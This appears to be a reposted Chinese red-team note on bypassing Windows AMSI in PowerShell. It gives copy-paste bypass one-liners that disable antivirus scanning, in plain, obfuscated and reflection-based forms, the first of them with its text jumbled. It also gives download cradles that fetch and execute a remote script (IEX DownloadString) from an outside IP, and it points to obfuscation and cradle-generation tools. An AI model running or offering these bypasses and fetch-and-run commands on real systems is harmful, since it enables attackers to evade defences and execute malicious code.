反恶意软件扫描接口(AMSI)打补丁将有助于绕过执行PowerShell脚本(或其他支持AMSI的内容,如JScript)时触发的AV警告,这些脚本被标记为恶意。不要在隐蔽的操作中使用原样,因为它们会被标记出来。混淆,甚至更好的是,通过改变你的脚本来击败基于签名的检测,完全消除对AMSI绕过的需要。
普通 "的AMSI绕过例子:
['System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ].Assembly.GetType(
用于复制粘贴的混淆例子:
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
PowerShell的自动识别功能:
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)
绕过方法混淆等,请参考Invoke-Obfuscation,或者在amsi.fail获得一个自定义生成的混淆版本。
https://github.com/danielbohannon/Invoke-Obfuscation
远程加载PowerShell脚本
代理
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')
非代理
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText
Invoke-CradleCrafter 是一个兼容 PowerShell v2.0+ 的 PowerShell 远程下载生成器和混淆器。
目的
Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆 PowerShell 远程下载托架。此外,它还可以帮助 Blue Teams 测试检测的有效性,这些检测可能适用于 Invoke-Obfuscation 产生的输出,但在处理 Invoke-CradleCrafter 时可能会达不到要求,因为它不包含任何字符串连接、编码、刻度线、类型转换等.
用法
虽然可以通过直接调用 Out-Cradle 函数来生成所有 cradle,但所有堆叠混淆组件的移动部分的复杂性使得使用 Invoke-CradleCrafter 函数成为探索和可视化 cradle 语法和混淆技术的最简单方法这个框架目前支持。
安装:
Import-Module ./Invoke-CradleCrafter.psd1
Invoke-CradleCrafter
https://github.com/danielbohannon/Invoke-CradleCrafter
本文始发于微信公众号(Khan安全攻防实验室):红队笔记 - PowerShell AMSI Bypass
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论